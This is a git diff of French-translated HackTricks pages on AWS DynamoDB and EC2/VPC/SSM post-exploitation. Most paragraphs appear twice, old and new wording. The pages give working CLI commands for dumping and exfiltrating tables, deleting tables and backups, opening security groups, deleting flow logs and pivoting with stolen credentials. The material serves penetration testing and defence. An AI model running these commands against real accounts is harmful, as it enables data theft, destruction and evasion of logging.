**Similaire aux permissions précédentes** celle-ci permet à un attaquant potentiel de lire les valeurs d'une seule table à condition de connaître la clé primaire de l'entrée à récupérer. Elle permet d'utiliser un [sous-ensemble de comparaisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mais la seule comparaison autorisée avec la clé primaire (qui doit être présente) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour obtenir l'ensemble du DB en une requête.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,31 +107,31 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impact potentiel :** un privesc indirect en localisant des informations sensibles dans la table
|
||||
**Potential Impact:** Indirect privesc en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Vous pouvez utiliser cette autorisation pour **dump facilement l'intégralité de la table**.
|
||||
Vous pouvez utiliser cette permission pour **dump l'intégralité de la table facilement**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la table
|
||||
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Vous pouvez utiliser cette permission pour **dump facilement l'intégralité de la table**.
|
||||
Vous pouvez utiliser cette autorisation pour **dump facilement l'intégralité de la table**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Cette permission permet également d'exécuter `batch-execute-statement` comme :
|
||||
Cette autorisation permet également d'exécuter des `batch-execute-statement` comme :
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
mais vous devez spécifier la clé primaire avec une valeur, donc ce n'est pas très utile.
|
||||
|
||||
**Potential Impact:** Indirect privesc en localisant des informations sensibles dans la table
|
||||
**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
@@ -149,17 +149,17 @@ Notez que pour que cela fonctionne, la table doit avoir point-in-time-recovery a
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Si ce n'est pas activé, vous devrez **l'activer** et pour cela vous avez besoin de l'autorisation **`dynamodb:ExportTableToPointInTime`** :
|
||||
S'il n'est pas activé, vous devrez **l'activer** et pour cela vous avez besoin de la permission **`dynamodb:ExportTableToPointInTime`**:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
|
||||
**Impact potentiel:** Privesc indirect en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Avec ces permissions, un attaquant serait capable de **créer une nouvelle table à partir d'une sauvegarde** (ou même de créer une sauvegarde pour la restaurer ensuite dans une table différente). Ensuite, avec les permissions nécessaires, il pourrait consulter **des informations** provenant des sauvegardes qui **ne pourraient plus être présentes dans la table de production**.
|
||||
Avec ces permissions, un attacker serait capable de **créer une nouvelle table à partir d'une sauvegarde** (ou même de créer une sauvegarde pour ensuite la restaurer dans une table différente). Ensuite, avec les permissions nécessaires, il pourrait consulter **des informations** issues des sauvegardes qui **ne sont plus présentes dans la table de production**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
@@ -170,7 +170,7 @@ aws dynamodb restore-table-from-backup \
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Cette permission permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'intégralité de l'élément sera remplacée** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
|
||||
Cette permission permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'ensemble de l'élément sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -206,7 +206,7 @@ aws dynamodb put-item \
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Elle ne **remplace pas** l'élément entier ; elle met à jour uniquement les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs indiqués dans l'expression de mise à jour.
|
||||
Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Cela **ne remplace pas** l'ensemble de l'élément ; cela met uniquement à jour les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs indiqués dans l'expression de mise à jour.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,34 +242,34 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Exploitation de vulnerabilities/bypasses supplémentaires en permettant d'ajouter/modifier des données dans une table DynamoDB
|
||||
**Impact potentiel :** Exploitation de vulnérabilités supplémentaires/bypasses en pouvant ajouter/modifier des données dans une table DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Un attaquant disposant de cette permission peut **supprimer une table DynamoDB, provoquant une perte de données**.
|
||||
Un attaquant disposant de cette autorisation peut **supprimer une table DynamoDB, provoquant une perte de données**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Impact potentiel**: Perte de données et perturbation des services dépendant de la table supprimée.
|
||||
**Impact potentiel** : Perte de données et perturbation des services dépendant de la table supprimée.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Un attaquant disposant de cette permission peut **supprimer une sauvegarde DynamoDB, pouvant entraîner une perte de données en cas de scénario de reprise après sinistre**.
|
||||
Un attaquant disposant de cette autorisation peut **supprimer une sauvegarde DynamoDB, provoquant potentiellement une perte de données en cas de scénario de reprise après sinistre**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Impact potentiel**: Perte de données et impossibilité de restaurer à partir d'une sauvegarde dans un scénario de reprise après sinistre.
|
||||
**Impact potentiel** : Perte de données et incapacité à restaurer à partir d'une sauvegarde lors d'un scénario de reprise après sinistre.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester si cela fonctionne réellement
|
||||
> TODO: Tester si cela fonctionne réellement
|
||||
|
||||
Un attaquant disposant de ces autorisations peut **activer un stream sur une table DynamoDB, mettre à jour la table pour commencer à diffuser les modifications, puis accéder au stream pour surveiller les modifications de la table en temps réel**. Cela permet à l'attaquant de surveiller et d'exfiltrate les modifications de données, ce qui peut potentiellement conduire à data leakage.
|
||||
Un attaquant disposant de ces autorisations peut **activer un stream sur une table DynamoDB, mettre à jour la table pour commencer à diffuser les modifications, puis accéder au stream pour surveiller en temps réel les changements de la table**. Cela permet à l'attaquant de surveiller et d'exfiltrate les modifications de données, ce qui peut entraîner un leak.
|
||||
|
||||
1. Activer un stream sur une table DynamoDB :
|
||||
```bash
|
||||
@@ -278,13 +278,13 @@ aws dynamodb update-table \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Décrivez le stream pour obtenir l'ARN et d'autres détails :
|
||||
2. Décrire le flux pour obtenir l'ARN et d'autres détails :
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Obtenez le shard iterator en utilisant le stream ARN:
|
||||
3. Obtenir le shard iterator en utilisant le stream ARN :
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -292,20 +292,20 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Utilisez le shard iterator pour accéder et exfiltrate les données du stream:
|
||||
4. Utilisez le shard iterator pour accéder et exfiltrate des données du stream :
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Impact potentiel**: Surveillance en temps réel et exfiltration des données des modifications de la table DynamoDB.
|
||||
**Potential impact**: Surveillance en temps réel et exfiltration de données des modifications de la table DynamoDB.
|
||||
|
||||
### Lire des items via `dynamodb:UpdateItem` et `ReturnValues=ALL_OLD`
|
||||
### Lire les éléments via `dynamodb:UpdateItem` et `ReturnValues=ALL_OLD`
|
||||
|
||||
Un attaquant disposant uniquement de `dynamodb:UpdateItem` sur une table peut lire des éléments sans aucune des permissions de lecture habituelles (`GetItem`/`Query`/`Scan`) en effectuant une mise à jour bénigne et en demandant `--return-values ALL_OLD`. DynamoDB renverra l'image complète de l'élément avant mise à jour dans le champ `Attributes` de la réponse (cela ne consomme pas de RCUs).
|
||||
|
||||
- Permissions minimales: `dynamodb:UpdateItem` sur la table/clé ciblée.
|
||||
- Prérequis: Vous devez connaître la clé primaire de l'élément.
|
||||
- Permissions minimales: `dynamodb:UpdateItem` sur la table/clé cible.
|
||||
- Prérequis: vous devez connaître la clé primaire de l'élément.
|
||||
|
||||
Exemple (ajoute un attribut inoffensif et exfiltre l'élément précédent dans la réponse):
|
||||
```bash
|
||||
@@ -318,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
La réponse CLI inclura un bloc `Attributes` contenant l'élément précédent complet (tous les attributs), fournissant effectivement une primitive de lecture à partir d'un accès en écriture seule.
|
||||
La réponse de la CLI inclura un bloc `Attributes` contenant l'élément précédent complet (tous les attributs), fournissant ainsi une primitive de lecture à partir d'un accès en écriture seule.
|
||||
|
||||
**Impact potentiel :** Lire des éléments arbitraires d'une table avec uniquement des autorisations d'écriture, permettant l'exfiltration de données sensibles lorsque les clés primaires sont connues.
|
||||
**Impact potentiel :** Lire des éléments arbitraires d'une table avec uniquement des permissions d'écriture, permettant l'exfiltration de données sensibles lorsque les clés primaires sont connues.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Exfiltration furtive en ajoutant une nouvelle replica Region à une DynamoDB Global Table (version 2019.11.21). Si un principal peut ajouter un replica régional, l'ensemble de la table est répliqué vers la Region choisie par l'attaquant, depuis laquelle l'attaquant peut lire tous les éléments.
|
||||
Exfiltration discrète en ajoutant une nouvelle réplique régionale à une DynamoDB Global Table (version 2019.11.21). Si un principal peut ajouter une réplique régionale, la table entière est répliquée vers la région choisie par l'attaquant, depuis laquelle l'attaquant peut lire tous les éléments.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions : `dynamodb:UpdateTable` (avec `replica-updates`) ou `dynamodb:CreateTableReplica` sur la table cible. Si une CMK est utilisée dans la réplique, des permissions KMS pour cette clé peuvent être nécessaires.
|
||||
Autorisations : `dynamodb:UpdateTable` (avec `replica-updates`) ou `dynamodb:CreateTableReplica` sur la table cible. Si un CMK est utilisé dans la réplique, des autorisations KMS pour cette clé peuvent être requises.
|
||||
|
||||
Potential Impact : Réplication de l'ensemble de la table vers une région contrôlée par l'attaquant, entraînant une exfiltration furtive des données.
|
||||
Impact potentiel : Réplication complète de la table vers une région contrôlée par un attaquant, aboutissant à une exfiltration furtive de données.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (lecture via condition échouée + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Un attaquant disposant de privilèges d'écriture transactionnelle peut exfiltrer l'ensemble des attributs d'un item existant en effectuant un `Update` à l'intérieur de `TransactWriteItems` qui échoue intentionnellement une `ConditionExpression` tout en définissant `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En cas d'échec, DynamoDB inclut les attributs précédents dans les raisons d'annulation de la transaction, transformant ainsi un accès en écriture seule en accès lecture sur les clés ciblées.
|
||||
Un attaquant disposant de privilèges d'écriture transactionnelle peut exfiltrer l'ensemble des attributs d'un item existant en effectuant un `Update` à l'intérieur de `TransactWriteItems` qui fait volontairement échouer une `ConditionExpression` tout en définissant `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En cas d'échec, DynamoDB inclut les attributs précédents dans les raisons d'annulation de la transaction, transformant ainsi un accès en écriture uniquement en accès en lecture des clés ciblées.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -411,16 +411,16 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
|
||||
Permissions : `dynamodb:TransactWriteItems` sur la table cible (et l'item sous-jacent). Aucune permission de lecture n'est requise.
|
||||
|
||||
Impact potentiel : Lire des éléments arbitraires (par clé primaire) d'une table en n'ayant que les privilèges d'écriture transactionnelle via les raisons d'annulation renvoyées.
|
||||
Impact potentiel : Lire des éléments arbitraires (par clé primaire) d'une table en utilisant seulement les privilèges d'écriture transactionnelle via les raisons d'annulation retournées.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` sur un GSI
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` sur GSI
|
||||
|
||||
Contourner les restrictions de lecture en créant un Global Secondary Index (GSI) avec `ProjectionType=ALL` sur un attribut à faible entropie, définir cet attribut à une valeur constante pour tous les éléments, puis `Query` l'index pour récupérer les éléments complets. Cela fonctionne même si `Query`/`Scan` sur la table de base est refusé, tant que vous pouvez interroger l'ARN de l'index.
|
||||
Contournez les restrictions de lecture en créant un Global Secondary Index (GSI) avec `ProjectionType=ALL` sur un attribut à faible entropie, en définissant cet attribut à une valeur constante pour tous les items, puis en effectuant un `Query` sur l'index pour récupérer les items complets. Cela fonctionne même si `Query`/`Scan` sur la table de base est refusé, tant que vous pouvez interroger l'ARN de l'index.
|
||||
|
||||
- Permissions minimales :
|
||||
- `dynamodb:UpdateTable` sur la table cible (pour créer le GSI avec `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` sur les clés de la table cible (pour définir l'attribut indexé sur chaque élément).
|
||||
- `dynamodb:UpdateItem` sur les clés de la table cible (pour définir l'attribut indexé sur chaque item).
|
||||
- `dynamodb:Query` sur l'ARN de la ressource d'index (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Étapes (PoC en us-east-1) :
|
||||
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Impact potentiel :** Exfiltration complète de la table en interrogeant un GSI nouvellement créé qui projette tous les attributs, même lorsque les API de lecture de la table de base sont refusées.
|
||||
**Impact potentiel :** Full table exfiltration en interrogeant un GSI nouvellement créé qui projette tous les attributs, même lorsque les API de lecture de la table de base sont refusées.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltration continue via Kinesis Data Streams)
|
||||
|
||||
Abuser de DynamoDB Kinesis streaming destinations pour exfiltrer en continu les modifications d'une table vers un Kinesis Data Stream contrôlé par l'attaquant. Une fois activé, chaque événement INSERT/MODIFY/REMOVE est transmis quasi en temps réel au stream sans nécessiter de permissions de lecture sur la table.
|
||||
Abuser des destinations de streaming Kinesis de DynamoDB pour continuously exfiltrate les modifications d'une table vers un Kinesis Data Stream contrôlé par l'attaquant. Une fois activée, chaque événement INSERT/MODIFY/REMOVE est transmis en quasi-temps réel au Kinesis Data Stream sans nécessiter de permissions de lecture sur la table.
|
||||
|
||||
Permissions minimales (attaquant) :
|
||||
- `dynamodb:EnableKinesisStreamingDestination` sur la table cible
|
||||
- Optionnellement `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` pour surveiller l'état
|
||||
- Permissions de lecture sur le Kinesis stream contrôlé par l'attaquant pour consommer les enregistrements : `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
Minimum permissions (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Optionnellement `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` pour surveiller le statut
|
||||
- Permissions de lecture sur le Kinesis stream appartenant à l'attaquant pour consommer les enregistrements : `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -530,6 +530,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**Impact potentiel :** Exfiltration continue, quasi en temps réel, des modifications de la table vers un Kinesis stream contrôlé par un attaquant sans opérations de lecture directes sur la table.
|
||||
**Impact potentiel :** Exfiltration continue et quasi en temps réel des modifications de la table vers un Kinesis stream contrôlé par l'attaquant sans opérations de lecture directes sur la table.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Post Exploitation
|
||||
# AWS - EC2, EBS, SSM & VPC Post-exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,10 +10,10 @@ Pour plus d'informations, consultez :
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Miroir VPC Malveillant -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
Le mirroring de trafic VPC **duplique le trafic entrant et sortant des instances EC2 au sein d'un VPC** sans avoir besoin d'installer quoi que ce soit sur les instances elles-mêmes. Ce trafic dupliqué serait généralement envoyé à quelque chose comme un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.\
|
||||
Un attaquant pourrait en abuser pour capturer tout le trafic et obtenir des informations sensibles à partir de celui-ci :
|
||||
VPC traffic mirroring **duplique le trafic entrant et sortant pour les EC2 instances au sein d'un VPC** sans nécessiter l'installation de quoi que ce soit sur les instances elles‑mêmes. Ce trafic dupliqué est généralement envoyé vers un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.\
|
||||
Un attaquant pourrait en abuser pour capturer tout le trafic et en extraire des informations sensibles :
|
||||
|
||||
Pour plus d'informations, consultez cette page :
|
||||
|
||||
@@ -21,9 +21,9 @@ Pour plus d'informations, consultez cette page :
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copier une Instance en Cours d'Exécution
|
||||
### Copy Running Instance
|
||||
|
||||
Les instances contiennent généralement une sorte d'informations sensibles. Il existe différentes façons d'y accéder (voir [trucs d'escalade de privilèges EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Cependant, une autre façon de vérifier ce qu'elle contient est de **créer une AMI et de lancer une nouvelle instance (même dans votre propre compte) à partir de celle-ci** :
|
||||
Les instances contiennent généralement des informations sensibles. Il existe différentes façons d'y accéder (voir [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Cependant, une autre méthode pour vérifier ce qu'elles contiennent est de **créer une AMI et lancer une nouvelle instance (même dans votre propre compte) à partir de celle-ci** :
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,65 +49,129 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Les instantanés sont des sauvegardes de volumes**, qui contiendront généralement **des informations sensibles**, donc les vérifier devrait révéler ces informations.\
|
||||
Si vous trouvez un **volume sans instantané**, vous pourriez : **Créer un instantané** et effectuer les actions suivantes ou simplement **le monter dans une instance** à l'intérieur du compte :
|
||||
**Snapshots are backups of volumes**, qui contiennent généralement **des informations sensibles**, donc les vérifier devrait révéler ces informations.\
|
||||
Si vous trouvez un **volume without a snapshot** vous pouvez : **Create a snapshot** et effectuer les actions suivantes ou simplement **mount it in an instance** inside the account :
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Exporter un EC2 AMI directement vers S3 en utilisant `CreateStoreImageTask` pour obtenir une image disque brute sans partage de snapshot. Cela permet une analyse forensique complète hors ligne ou le vol de données tout en laissant le réseau de l'instance intact.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attacher un volume io1/io2 Multi-Attach à une seconde instance et le monter en lecture seule pour siphonner des données en direct sans snapshots. Utile lorsque le volume victime a déjà Multi-Attach activé dans la même AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Créer un EC2 Instance Connect Endpoint, autoriser l'ingress et injecter des clés SSH éphémères pour accéder aux instances privées via un tunnel géré. Offre des voies rapides de mouvement latéral sans ouvrir de ports publics.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Transférer l'IP privée secondaire d'une ENI victime vers une ENI contrôlée par l'attaquant pour usurper des hôtes de confiance allowlisted par IP. Permet de contourner des ACLs internes ou des règles de SG associées à des adresses spécifiques.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Réassocier un Elastic IP de l'instance victime à l'attaquant pour intercepter le trafic entrant ou initier des connexions sortantes qui semblent provenir d'IP publiques de confiance.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Si une règle de Security Group référence une customer-managed prefix list, ajouter des CIDR de l'attaquant à la liste étend silencieusement l'accès à toutes les règles SG dépendantes sans modifier le SG lui-même.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Créer des gateway ou interface VPC endpoints pour retrouver l'accès sortant depuis des subnets isolés. Exploiter des AWS-managed private links contourne l'absence d'IGW/NAT pour l'exfiltration de données.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Diriger les VPC Flow Logs vers un bucket S3 contrôlé par l'attaquant pour collecter en continu des métadonnées réseau (source/destination, ports) en dehors du compte victime pour une reconnaissance à long terme.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Exfiltration
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Même si vous verrouillez un EC2 pour qu'aucun trafic ne puisse sortir, il peut toujours **exfiltrer via DNS**.
|
||||
Même si vous verrouillez une EC2 pour empêcher tout trafic sortant, elle peut toujours **exfil via DNS**.
|
||||
|
||||
- **Les journaux de flux VPC ne l'enregistreront pas**.
|
||||
- Vous n'avez pas accès aux journaux DNS d'AWS.
|
||||
- Désactivez cela en définissant "enableDnsSupport" sur false avec :
|
||||
- **VPC Flow Logs ne l'enregistreront pas**.
|
||||
- Vous n'avez pas accès aux AWS DNS logs.
|
||||
- Désactivez ceci en définissant "enableDnsSupport" à false avec:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Un attaquant pourrait appeler des points de terminaison API d'un compte qu'il contrôle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les journaux Cloudtrail.
|
||||
Un attaquant peut appeler des endpoints API d'un compte qu'il contrôle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les logs Cloudtrail.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci :
|
||||
Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Il est possible de faire fonctionner une instance EC2 et de l'enregistrer pour être utilisée pour exécuter des instances ECS, puis de voler les données des instances ECS.
|
||||
Il est possible d'exécuter une instance EC2 et de l'enregistrer pour qu'elle soit utilisée pour exécuter des instances ECS, puis de voler les données des instances ECS.
|
||||
|
||||
Pour [**plus d'informations, consultez ceci**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
Pour [**plus d'informations, consultez ceci**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
### Supprimer les VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
### SSM : redirection de ports
|
||||
|
||||
Permissions requises :
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
En plus de l'exécution de commandes, SSM permet le tunneling de trafic qui peut être abusé pour pivoter à partir d'instances EC2 qui n'ont pas d'accès réseau en raison des groupes de sécurité ou des NACL.
|
||||
Un des scénarios où cela est utile est le pivotement d'un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un cluster EKS privé.
|
||||
En plus de l'exécution de commandes, SSM permet d'établir des tunnels de trafic qui peuvent être abusés pour pivoter depuis des instances EC2 qui n'ont pas d'accès réseau à cause des Security Groups ou des NACLs.
|
||||
L'un des scénarios où cela est utile est de pivoter depuis un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un cluster EKS privé.
|
||||
|
||||
> Pour commencer une session, vous devez avoir le SessionManagerPlugin installé : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Pour démarrer une session, vous devez avoir installé le SessionManagerPlugin : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installez le SessionManagerPlugin sur votre machine
|
||||
2. Connectez-vous à l'EC2 Bastion en utilisant la commande suivante :
|
||||
2. Connectez-vous au Bastion EC2 en utilisant la commande suivante :
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Obtenez les identifiants temporaires Bastion EC2 AWS avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
3. Récupérez les identifiants temporaires AWS de la Bastion EC2 avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Transférez les identifiants vers votre propre machine dans le fichier `$HOME/.aws/credentials` en tant que profil `[bastion-ec2]`
|
||||
5. Connectez-vous à EKS en tant que Bastion EC2 :
|
||||
